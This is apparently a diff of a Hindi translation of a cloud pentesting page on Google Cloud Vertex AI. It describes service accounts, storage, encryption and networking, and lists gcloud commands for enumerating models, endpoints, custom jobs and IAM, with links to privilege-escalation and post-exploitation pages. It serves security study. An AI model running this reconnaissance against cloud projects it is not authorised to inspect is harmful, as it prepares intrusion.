डिफ़ॉल्ट रूप से, Vertex AI सेवाएं **Compute Engine default service account** (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`) का उपयोग करती हैं, जिसे प्रोजेक्ट पर **Editor** अनुमतियाँ मिली होती हैं। हालाँकि, आप कस्टम service accounts निर्दिष्ट कर सकते हैं जब:
|
||||
डिफॉल्ट रूप से, Vertex AI सेवाएँ Compute Engine default service account (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`) का उपयोग करती हैं, जिसे प्रोजेक्ट पर Editor permissions मिलते हैं। हालाँकि, आप कस्टम service accounts निर्दिष्ट कर सकते हैं जब आप:
|
||||
|
||||
- custom jobs बना रहे हों
|
||||
- models अपलोड कर रहे हों
|
||||
- models को endpoints पर deploy कर रहे हों
|
||||
- models को endpoints पर डिप्लॉय कर रहे हों
|
||||
|
||||
यह service account उपयोग किया जाता है:
|
||||
- Cloud Storage में training data तक पहुँचने के लिए
|
||||
- Cloud Logging में लॉग लिखने के लिए
|
||||
- Secret Manager से secrets एक्सेस करने के लिए
|
||||
- अन्य GCP सेवाओं के साथ इंटरैक्ट करने के लिए
|
||||
यह service account निम्न कार्यों के लिए इस्तेमाल होता है:
|
||||
- Cloud Storage में training data तक पहुंच
|
||||
- Cloud Logging में logs लिखना
|
||||
- Secret Manager से secrets तक पहुंच
|
||||
- अन्य GCP सेवाओं के साथ इंटरैक्ट करना
|
||||
|
||||
### Data Storage
|
||||
|
||||
- **Model artifacts** **Cloud Storage** buckets में स्टोर होते हैं
|
||||
- **Training data** सामान्यतः Cloud Storage या BigQuery में रहती है
|
||||
- **Container images** **Artifact Registry** या Container Registry में स्टोर होते हैं
|
||||
- **Logs** **Cloud Logging** को भेजे जाते हैं
|
||||
- **Metrics** **Cloud Monitoring** को भेजे जाते हैं
|
||||
- Model artifacts Cloud Storage buckets में संग्रहीत होते हैं
|
||||
- Training data आम तौर पर Cloud Storage या BigQuery में रहती है
|
||||
- Container images Artifact Registry या Container Registry में संग्रहीत होते हैं
|
||||
- Logs Cloud Logging को भेजे जाते हैं
|
||||
- Metrics Cloud Monitoring को भेजे जाते हैं
|
||||
|
||||
### Encryption
|
||||
|
||||
डिफ़ॉल्ट रूप से, Vertex AI **Google-managed encryption keys** का उपयोग करता है। आप निम्न भी कॉन्फ़िगर कर सकते हैं:
|
||||
डिफ़ॉल्ट रूप से, Vertex AI Google-managed encryption keys का उपयोग करता है। आप यह भी कॉन्फ़िगर कर सकते हैं:
|
||||
|
||||
- **Customer-managed encryption keys (CMEK)** from Cloud KMS
|
||||
- Encryption मॉडल आर्टिफैक्ट्स, ट्रेनिंग डेटा और endpoints पर लागू होती है
|
||||
- Customer-managed encryption keys (CMEK) Cloud KMS से
|
||||
- एन्क्रिप्शन model artifacts, training data, और endpoints पर लागू होता है
|
||||
|
||||
### Networking
|
||||
|
||||
Vertex AI रिसोर्सेस को निम्न के लिए कॉन्फ़िगर किया जा सकता है:
|
||||
Vertex AI संसाधनों को निम्न के लिए कॉन्फ़िगर किया जा सकता है:
|
||||
|
||||
- **Public internet access** (default)
|
||||
- प्राइवेट एक्सेस के लिए **VPC peering**
|
||||
- सुरक्षित कनेक्टिविटी के लिए **Private Service Connect**
|
||||
- **Shared VPC** सपोर्ट
|
||||
- Public internet access (डिफ़ॉल्ट)
|
||||
- VPC peering के साथ private access
|
||||
- Private Service Connect के जरिए सुरक्षित कनेक्टिविटी
|
||||
- Shared VPC समर्थन
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
@@ -152,7 +160,7 @@ gcloud ai endpoints direct-predict <endpoint-id> \
|
||||
--region=<region> \
|
||||
--json-request=request.json
|
||||
```
|
||||
### मॉडल जानकारी एकत्र करना
|
||||
### मॉडल जानकारी एकत्रीकरण
|
||||
```bash
|
||||
# Get detailed model information including versions
|
||||
gcloud ai models describe <model-id> --region=<region>
|
||||
@@ -200,7 +208,7 @@ gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpe
|
||||
# Get network configuration
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.network)"
|
||||
```
|
||||
### अभिगम नियंत्रण
|
||||
### एक्सेस कंट्रोल
|
||||
```bash
|
||||
# Note: IAM policies for individual Vertex AI resources are managed at the project level
|
||||
# Check project-level permissions
|
||||
@@ -243,12 +251,18 @@ gcloud ai endpoints list --list-model-garden-endpoints-only --region=<region>
|
||||
```
|
||||
### Privilege Escalation
|
||||
|
||||
निम्नलिखित पृष्ठ पर आप यह देख सकते हैं कि **abuse Vertex AI permissions to escalate privileges**:
|
||||
नीचे दिए गए पृष्ठ में, आप देख सकते हैं कि कैसे **abuse Vertex AI permissions to escalate privileges**:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-vertex-ai-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)
|
||||
|
||||
Reference in New Issue
Block a user